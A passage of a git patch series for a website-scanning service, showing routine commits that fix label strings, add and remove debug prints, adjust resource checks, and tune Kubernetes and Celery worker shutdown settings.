             title = 'jQuery Delta'
             data = str(item.yellowlab_delta["scores"]["jQuery_delta"])
         elif 'cssComplexity_delta' in e['data_type']:
-            title = 'CSS Complex. Delta'
+            title = 'CSS Complexity Delta'
             data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"])
         elif 'badCSS_delta' in e['data_type']:
             title = 'Bad CSS Delta'
@@ -310,7 +310,7 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Fonts Delta'
             data = str(item.yellowlab_delta["scores"]["fonts_delta"])
         elif 'serverConfig_delta' in e['data_type']:
-            title = 'Server Config Delta'
+            title = 'Server Configs Delta'
             data = str(item.yellowlab_delta["scores"]["serverConfig_delta"])
 
         # yellowlab scan data
@@ -324,28 +324,28 @@ def create_exp(item: object=None, automation: object=None) -> dict:
             title = 'Images'
             data = str(item.yellowlab["scores"]["images"])
         elif 'domComplexity' in e['data_type']:
-            title = 'DOM Complex.'
+            title = 'DOM Complexity'
             data = str(item.yellowlab["scores"]["domComplexity"])
         elif 'javascriptComplexity' in e['data_type']:
-            title = 'JS Complex.'
+            title = 'JS Complexity'
             data = str(item.yellowlab["scores"]["javascriptComplexity"])  
         elif 'badJavascript' in e['data_type']:
-            title = 'Bad JS.'
+            title = 'Bad JS'
             data = str(item.yellowlab["scores"]["badJavascript"])
         elif 'jQuery' in e['data_type']:
             title = 'jQuery'
             data = str(item.yellowlab["scores"]["jQuery"])
         elif 'cssComplexity' in e['data_type']:
-            title = 'CSS Complex'
+            title = 'CSS Complexity'
             data = str(item.yellowlab["scores"]["cssComplexity"])
         elif 'badCSS' in e['data_type']:
-            title = 'Bad CSS.'
+            title = 'Bad CSS'
             data = str(item.yellowlab["scores"]["badCSS"])
         elif 'fonts' in e['data_type']:
             title = 'Fonts'
             data = str(item.yellowlab["scores"]["fonts"])
         elif 'serverConfig' in e['data_type']:
-            title = 'Server Config.'
+            title = 'Server Configs'
             data = str(item.yellowlab["scores"]["serverConfig"])
         
         # image data

From 485a21e7db9611d9fa2aef6b46f8b1c93bbd4a9b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 19:01:59 -0600
Subject: [PATCH 0716/1099] debugging prod issue

---
 app/api/tasks.py | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 191509e6..6f37cdd6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -301,6 +301,8 @@ def create_scan(
     Returns -> None
     """
 
+    print(f'page_id for scanning -> {page_id}')
+
     # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
@@ -428,7 +430,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
 
             create_scan.delay(
-                page_id=page.id,
+                page_id=str(page.id),
                 type=type,
                 configs=configs,
                 tags=tags,
@@ -607,6 +609,8 @@ def create_test(
     Returns -> None
     """
 
+    print(f'page_id for testing -> {page_id}')
+
     # setting defaults
     created_test = None
 
@@ -815,7 +819,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
                 # create test
                 create_test.delay(
-                    page_id=page.id,
+                    page_id=str(page.id),
                     type=type,
                     configs=configs,
                     tags=tags,
@@ -829,15 +833,15 @@ def create_test_bg(self, *args, **kwargs) -> None:
     if test_id:
         test = Test.objects.get(id=test_id)
         create_test.delay(
-            test_id=test_id,
-            page_id=test.page.id,
+            test_id=str(test_id),
+            page_id=str(test.page.id),
             type=type,
             configs=configs,
             tags=tags,
             threshold=float(threshold),
             pre_scan=pre_scan,
             post_scan=post_scan,
-            automation_id=automation_id
+            automation_id=str(automation_id)
         )
 
     # update schedule if task_id is not None

From ae46c3e7609473398d285ecf7e6196c278adbe20 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 19:42:33 -0600
Subject: [PATCH 0717/1099] removed debuging statements

---
 app/api/tasks.py             | 49 ++++++++++++++----------------------
 k8s/prod/ylt-autoscaler.yaml |  4 +--
 2 files changed, 21 insertions(+), 32 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 6f37cdd6..03edcfa3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -301,8 +301,6 @@ def create_scan(
     Returns -> None
     """
 
-    print(f'page_id for scanning -> {page_id}')
-
     # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
@@ -379,7 +377,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     pages.append(
                         Page.objects.get(id=item['id'])
                     )
-                    print(f'pages added -> {pages}')
                 except Exception as e:
                     print(e)
             
@@ -389,7 +386,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     sites.append(
                         Site.objects.get(id=item['id'])
                     ) 
-                    print(f'sites added -> {sites}')
                 except Exception as e:
                     print(e)
     
@@ -404,12 +400,10 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
-        print(f'trying to scan page -> {page.page_url}')
+        
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
 
-            print(f'allowed to create new Scan')
-
             # updating latest_scan info for page
             page.info['latest_scan']['id'] = 'placeholder'
             page.info['latest_scan']['time_created'] = str(timezone.now())
@@ -418,17 +412,13 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             page.info['latest_scan']['score'] = None
             page.save()
 
-            print('updated page info')
-
             # updating latest_scan info for site
             page.site.info['latest_scan']['id'] = 'placeholder'
             page.site.info['latest_scan']['time_created'] = str(timezone.now())
             page.site.info['latest_scan']['time_completed'] = None
             page.site.save()
 
-            print('updated site info')
-
-
+            # init scan in bg
             create_scan.delay(
                 page_id=str(page.id),
                 type=type,
@@ -436,8 +426,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 tags=tags,
                 automation_id=automation_id
             )
-
-            print('init new bg scan')
     
     # update schedule if task_id is not None
     if task_id:
@@ -609,8 +597,6 @@ def create_test(
     Returns -> None
     """
 
-    print(f'page_id for testing -> {page_id}')
-
     # setting defaults
     created_test = None
 
@@ -1411,22 +1397,25 @@ def create_testcase_bg(*args, **kwargs) -> None:
 
         # iterate through sites
         for site in sites:
+
+            # check and increment resource
+            if check_and_increment_resource(site.account, 'testcase'):
     
-            # create new testcase
-            _testcase = Testcase.objects.create(
-                case = case,
-                case_name = case.name,
-                site = site,
-                user = site.user,
-                account = site.account,
-                configs = configs,
-                steps = steps
-            )
+                # create new testcase
+                _testcase = Testcase.objects.create(
+                    case = case,
+                    case_name = case.name,
+                    site = site,
+                    user = site.user,
+                    account = site.account,
+                    configs = configs,
+                    steps = steps
+                )
 
-            # add to list
-            testcases.append(
-                _testcase
-            )
+                # add to list
+                testcases.append(
+                    _testcase
+                )
 
     # iterate through testcases and run
     for testcase in testcases:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 9eba03e6..7f9203d0 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -8,10 +8,10 @@ spec:
   cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
-  maxReplicaCount: 15
+  maxReplicaCount: 7
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "10"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file

From c65093ecdf2e16284a50e55d17993c8eed2325f1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 20:18:20 -0600
Subject: [PATCH 0718/1099] more automater fixes

---
 app/api/utils/automater.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 6779dd46..4e9398b2 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -91,7 +91,7 @@ def build_exp_list(self) -> None:
             operator = ' == '
             joiner = ''
             data_type = 'self.object.passed'
-            value = str(expression['value'])
+            value = f"str({str(expression['value'])})"
 
             # getting data
             if self.object:

From ba61fccae1ed004a63aeb7e8a463e6da418742f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 07:37:56 -0600
Subject: [PATCH 0719/1099] fixed testcase incrementation

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 03edcfa3..09fb0412 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1399,7 +1399,7 @@ def create_testcase_bg(*args, **kwargs) -> None:
         for site in sites:
 
             # check and increment resource
-            if check_and_increment_resource(site.account, 'testcase'):
+            if check_and_increment_resource(site.account, 'testcases'):
     
                 # create new testcase
                 _testcase = Testcase.objects.create(

From 6849966ecb294ee41ac728981ffadae459192b13 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:08:43 -0600
Subject: [PATCH 0720/1099] fixing issues with reset_account_usage()

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 09fb0412..6df7f880 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1483,7 +1483,7 @@ def reset_usage(account):
     for account in accounts:
 
         # check if account is active and not free
-        if account.active and account.type != 'free':
+        if account.active and account.type != 'free' and account.sub_id != None:
                 
             # get stripe sub
             sub = stripe.Subscription.retrieve(

From f847eed6a312f077a170f28f91826b442fc365af Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:31:22 -0600
Subject: [PATCH 0721/1099] testing crawler issues

---
 app/api/utils/crawler.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index a84edff2..54f9d226 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -75,6 +75,8 @@ def url_is_valid(url: str=None) -> bool:
 
         def crawl_url(start_url: str=None, max_depth: int=5):
 
+            print(f'starting crawl on -> {start_url}')
+
             # adding url to list of crawled_urls
             crawled_urls.append(start_url)
             
@@ -111,6 +113,7 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                         
                         # check status of page
                         self.driver.get(url)
+
                         # wait for page to load
                         resolved = driver_wait(
                             driver=self.driver,

From 0c8be716da4f90a9c0b3d1422e415ed8c245a580 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:38:23 -0600
Subject: [PATCH 0722/1099] debugging crawler

---
 app/api/utils/crawler.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 54f9d226..6aadd3b6 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -114,6 +114,8 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                         # check status of page
                         self.driver.get(url)
 
+                        print(f'looped to this url -> {url}')
+
                         # wait for page to load
                         resolved = driver_wait(
                             driver=self.driver,

From bb16ea630c3b1dd36f66183f74fcd0788bcde6a9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:47:59 -0600
Subject: [PATCH 0723/1099] debugging crawler

---
 app/api/utils/crawler.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 6aadd3b6..9a86e57c 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -125,12 +125,15 @@ def crawl_url(start_url: str=None, max_depth: int=5):
 
                         # skipping url if not responding
                         if not resolved:
+                            print('not resolved')
                             continue
                         
                         # clean and decide to record url
+                        print(f'{self.driver.current_url} == {url}')
                         if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
+                                print(f'stripped url -> {url}')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
                                 depth += 1

From 0a45b6d95a470a17eb5ec0a72c5058cfba9cd53f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:59:49 -0600
Subject: [PATCH 0724/1099] still testing

---
 app/api/utils/crawler.py | 4 +---
 setup/scripts/local.sh   | 7 ++++++-
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 9a86e57c..e636e26f 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -129,11 +129,9 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                             continue
                         
                         # clean and decide to record url
-                        print(f'{self.driver.current_url} == {url}')
-                        if self.driver.current_url == url:
+                        if str(self.driver.current_url) == str(url):
                             if url.endswith('/'):
                                 url = url.rstrip('/')
-                                print(f'stripped url -> {url}')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
                                 depth += 1
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index cd28df00..5d1555a3 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,9 +1,14 @@
 #!/bin/bash
 
 cd $HOME/documents/coding/scanerr/server &&
-{
+{   
+    docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&
     docker compose -f docker-compose.local.yml up --build
 } || {
     docker compose -f docker-compose.local.yml up --build
 }
+
+
+
+https://stachespaces.com/blog == https://stachespaces.com/blog
\ No newline at end of file

From b547c236e710b8e72d5f95cb1ff61249dac11778 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:00:58 -0600
Subject: [PATCH 0725/1099] fixed script

---
 setup/scripts/local.sh | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 5d1555a3..12fe840f 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -9,6 +9,3 @@ cd $HOME/documents/coding/scanerr/server &&
     docker compose -f docker-compose.local.yml up --build
 }
 
-
-
-https://stachespaces.com/blog == https://stachespaces.com/blog
\ No newline at end of file

From c96482b1336c59654ebd9c7bd56aad5209ea6194 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:58:01 -0600
Subject: [PATCH 0726/1099] fixing automation_id issue

---
 app/api/utils/scanner.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index f0aa96b4..2034ff21 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -318,7 +318,7 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
             print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
-            if automation_id:
+            if automation_id is not None and automation_id != 'None':
                 print('running automation from `scanerr.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 

From 0847f464cc43ba18ae2fdc39c53000eeef03379a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:58:11 -0600
Subject: [PATCH 0727/1099] added new command

---
 notes/Kubernetes.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 6f2ab352..ea6066cf 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -191,6 +191,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
    - `kubectl logs -f --all-containers deployment/celery-deployment`
+   - `kubectl logs -f --selector=app=celery-deployment --all-containers`
 
 
 

From 2a384e1903dc8eb31b0274d3e556383f0a9bb9f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 20:30:28 -0600
Subject: [PATCH 0728/1099] testing new k8s configs

---
 app/api/management/commands/check_celery_tasks.py | 1 +
 k8s/prod/celery-deployment.yaml                   | 8 ++++----
 notes/Kubernetes.md                               | 2 +-
 setup/scripts/local.sh                            | 8 +++++++-
 4 files changed, 13 insertions(+), 6 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 57221864..c2d35ff9 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -20,6 +20,7 @@ def get_task_list():
             active = i.active()[this_pod]
             print(f'Active tasks -> {str(reserved)}')
             tasks = len(active) + len(reserved)
+            return int(tasks)
         
         # get length of active and reserved task lists
         tasks = get_task_list()
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 90f8eb5a..246c842b 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:20d9159 # 
+          image: <IMAGE> # scanerr/server:facff34 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -33,10 +33,10 @@ spec:
           resources:
             limits:
               cpu: "1"
-              memory: "4Gi"
+              memory: "5Gi"
             requests:
-              cpu: ".5"
-              memory: "1Gi"
+              cpu: "1"
+              memory: "2Gi"
           lifecycle:
             preStop:
               exec:
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index ea6066cf..f01183e1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -140,7 +140,7 @@ kubectl apply -f ./k8s/prod/beat-deployment.yaml
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
 ``` shell
 kubectl apply -f ./k8s/prod/ylt-deployment.yaml
-kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml
+kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml # DEPRECIATE
 ```
 
 
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 12fe840f..441257ec 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,10 +1,16 @@
 #!/bin/bash
 
-cd $HOME/documents/coding/scanerr/server &&
+# ensure you create $SCANERR_ROOT first:
+#  echo 'export SCANERR_ROOT=<your/path/to/scanerr/root>' >> ~/.zshrc   (or ~/.bash_profile)
+
+cd $SCANERR_ROOT/server &&
 {   
     docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&
     docker compose -f docker-compose.local.yml up --build
+} || {
+    docker volume rm server_app server_beat server_celery &&
+    docker compose -f docker-compose.local.yml up --build
 } || {
     docker compose -f docker-compose.local.yml up --build
 }

From 28f68756727c67f8eccf1612bdeda682b3bca9ae Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 20:49:04 -0600
Subject: [PATCH 0729/1099] updating preStop command

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 246c842b..d6b1a459 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -40,4 +40,4 @@ spec:
           lifecycle:
             preStop:
               exec:
-                command: ["python3 manage.py check_celery_tasks"]
\ No newline at end of file
+                command: ["python3", "manage.py", "check_celery_tasks"]
\ No newline at end of file

From f25fcbcb192240a2ed0a8897a7f9672056f327dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 19 Sep 2024 11:23:20 -0600
Subject: [PATCH 0730/1099] testing new celery configs

---
 .../{check_celery_tasks.py => terminate_worker.py} | 14 +++++++++++---
 app/scanerr/celery.py                              | 11 ++++++++++-
 k8s/prod/celery-deployment.yaml                    |  8 ++++----
 notes/Kubernetes.md                                |  2 +-
 4 files changed, 26 insertions(+), 9 deletions(-)
 rename app/api/management/commands/{check_celery_tasks.py => terminate_worker.py} (67%)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/terminate_worker.py
similarity index 67%
rename from app/api/management/commands/check_celery_tasks.py
rename to app/api/management/commands/terminate_worker.py
index c2d35ff9..62598911 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -8,17 +8,25 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
-        this_pod = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+        # get celery worker
+        this_worker = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+        
+        # sending initial SIGTERM to celery worker for warm-shutdown
+        celery.app.control.broadcast('shutdown', destination=[this_worker])
 
         def get_task_list():
             # Inspect all nodes.
             i = celery.app.control.inspect()
+            
             # Tasks received, but are still waiting to be executed.
-            reserved = i.reserved()[this_pod]
+            reserved = i.reserved()[this_worker]
             print(f'Reserved tasks -> {str(reserved)}')
+            
             # Active tasks
-            active = i.active()[this_pod]
+            active = i.active()[this_worker]
             print(f'Active tasks -> {str(reserved)}')
+            
+            # Sum all tasks
             tasks = len(active) + len(reserved)
             return int(tasks)
         
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index c014b861..bc89c01b 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -1,5 +1,6 @@
 from __future__ import absolute_import, unicode_literals
 from celery import Celery
+from celery.signals import worker_shutdown
 from django.conf import settings
 import scanerr, os
 
@@ -23,6 +24,7 @@
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
+    worker_cancel_long_running_tasks_on_connection_loss=True,
 )
 
 # setting tasks to auto-discover
@@ -31,5 +33,12 @@
 # setting debug
 @app.task(bind=False)
 def debug_task(self):
-    print('Request: {0!r}'.format(self.request))
+    print(f'Request: {self.request}')
+
+# notify of SIGTERM
+@worker_shutdown.connect
+def on_worker_shutdown(**kwargs):
+    print(f'- WORKER SHUTTING DOWN - \n\n{kwargs}')
+    
+
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index d6b1a459..8d0f17ff 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,12 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 30
+      terminationGracePeriodSeconds: 300
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # scanerr/server:facff34 # 
+          image: <IMAGE> # scanerr/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -33,11 +33,11 @@ spec:
           resources:
             limits:
               cpu: "1"
-              memory: "5Gi"
+              memory: "3.5Gi"
             requests:
               cpu: "1"
               memory: "2Gi"
           lifecycle:
             preStop:
               exec:
-                command: ["python3", "manage.py", "check_celery_tasks"]
\ No newline at end of file
+                command: ["python3", "manage.py", "terminate_worker"]
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index f01183e1..a40de1c5 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -191,7 +191,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
    - `kubectl logs -f --all-containers deployment/celery-deployment`
-   - `kubectl logs -f --selector=app=celery-deployment --all-containers`
+   - `kubectl logs -f --selector=app=celery-deployment --all-containers --max-log-requests=7`
 
 
 

From cf4de6568605af92e8dd5c7da6a3d2a299642d99 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 14:01:36 -0600
Subject: [PATCH 0731/1099] rolling out new version fixes

---
 Dockerfile                                    |   4 +-
 app/api/admin.py                              |  17 +-
 app/api/management/commands/create_admin.py   |   6 +
 app/api/management/commands/driver_test.py    |   6 +-
 .../management/commands/terminate_worker.py   |  55 +-
 app/api/management/commands/wait_for_db.py    |   7 +-
 app/api/models.py                             |   5 +-
 app/api/tasks.py                              | 632 ++++++++++++------
 app/api/utils/alerts.py                       |  19 +-
 app/api/utils/automater.py                    |   6 +-
 app/api/utils/caser.py                        |  94 +--
 app/api/utils/imager.py                       |  45 +-
 app/api/utils/issuer.py                       |   4 +-
 app/api/utils/scanner.py                      |  94 +--
 app/api/v1/ops/serializers.py                 |  12 +-
 app/api/v1/ops/services.py                    |  30 +-
 app/scanerr/celery.py                         |   5 +-
 k8s/prod/celery-deployment.yaml               |   5 +
 notes/Kubernetes.md                           |   4 +-
 19 files changed, 691 insertions(+), 359 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 636db26c..64a58d79 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -91,10 +91,10 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 
-# make migrations file
+# writing migrations file
 RUN python3.12 manage.py makemigrations --no-input
 
-# collect static assets
+# collecting static assets
 RUN python3.12 manage.py collectstatic --no-input
 
 # cleaning up
diff --git a/app/api/admin.py b/app/api/admin.py
index cb008618..8877f97f 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -8,7 +8,10 @@
     delete_case, delete_testcase,
     crawl_site
 )
-from .tasks import reset_account_usage
+from .tasks import (
+    reset_account_usage, 
+    update_scan_score
+)
 
 
 
@@ -50,7 +53,7 @@ class CardAdmin(admin.ModelAdmin):
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
-    search_fields = ('site_url',)
+    search_fields = ('site_url', 'account')
     actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
 
     def crawl_sites(self, request, queryset):
@@ -87,7 +90,7 @@ def delete_sites(self, request, queryset):
 @admin.register(Page)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
-    search_fields = ('page_url',)
+    search_fields = ('page_url', 'account')
     actions = ['scan_pages', 'test_pages', 'delete_pages',]
 
     def scan_pages(self, request, queryset):
@@ -133,7 +136,7 @@ def delete_tests(self, request, queryset):
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page',)
-    actions = ['delete_scans', 'mark_as_completed',]
+    actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ] # NEW!!!
 
     def delete_scans(self, request, queryset):
         for scan in queryset:
@@ -141,6 +144,12 @@ def delete_scans(self, request, queryset):
                 id=scan.id,
                 account=scan.page.account
             )
+    
+    def add_scan_score(self, request, queryset): # NEW!!!
+        for scan in queryset:
+            update_scan_score.delay(
+                scan_id=scan.id
+            )
 
     def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 77c68bd6..e5f9a9c5 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -5,6 +5,12 @@
 from ...utils.verify import verify
 import os
 
+
+
+
+
+
+# creates a new Admin user if None exists
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py
index d72df774..1fe02b82 100644
--- a/app/api/management/commands/driver_test.py
+++ b/app/api/management/commands/driver_test.py
@@ -1,8 +1,12 @@
 from ...utils.driver import driver_test
 from django.core.management.base import BaseCommand
 
-# testing selenium, chromedriver, and chromium installation and configs
 
+
+
+
+
+# testing selenium, chromedriver, and chromium installation and configs
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
diff --git a/app/api/management/commands/terminate_worker.py b/app/api/management/commands/terminate_worker.py
index 62598911..84804dfb 100644
--- a/app/api/management/commands/terminate_worker.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -2,19 +2,47 @@
 from django.core.management.base import BaseCommand
 import time, os
 
-# checking if celery tasks have completed running
 
+
+
+
+
+# init warm shutdown (prevent new task acceptance) 
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
+        # get worker / pod name
+        default_worker = 'scanerr-celery'
+        if os.environ.get('THIS_POD_NAME'):
+            default_worker = str(os.environ.get('THIS_POD_NAME'))
+
         # get celery worker
-        this_worker = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
-        
+        this_worker = f"celery@{default_worker}"
+
         # sending initial SIGTERM to celery worker for warm-shutdown
         celery.app.control.broadcast('shutdown', destination=[this_worker])
 
-        def get_task_list():
+
+
+
+# check if current tasks have completed
+def wait_for_tasks_to_complete():
+
+    # get worker / pod name
+    default_worker = 'scanerr-celery'
+    if os.environ.get('THIS_POD_NAME'):
+        default_worker = str(os.environ.get('THIS_POD_NAME'))
+
+    # get celery worker
+    this_worker = f"celery@{default_worker}"
+
+    def get_task_list():
+    
+        # set default 
+        tasks = 0
+
+        try:
             # Inspect all nodes.
             i = celery.app.control.inspect()
             
@@ -28,14 +56,19 @@ def get_task_list():
             
             # Sum all tasks
             tasks = len(active) + len(reserved)
-            return int(tasks)
         
-        # get length of active and reserved task lists
-        tasks = get_task_list()
+        except Exception as e:
+            print(e)
+
+        # return tasks count
+        return int(tasks)
 
-        # waiting for tasks to complete
-        while tasks > 0:
-            time.sleep(10)
-            tasks = get_task_list()
+    # get length of active and reserved task lists
+    tasks = get_task_list()
+
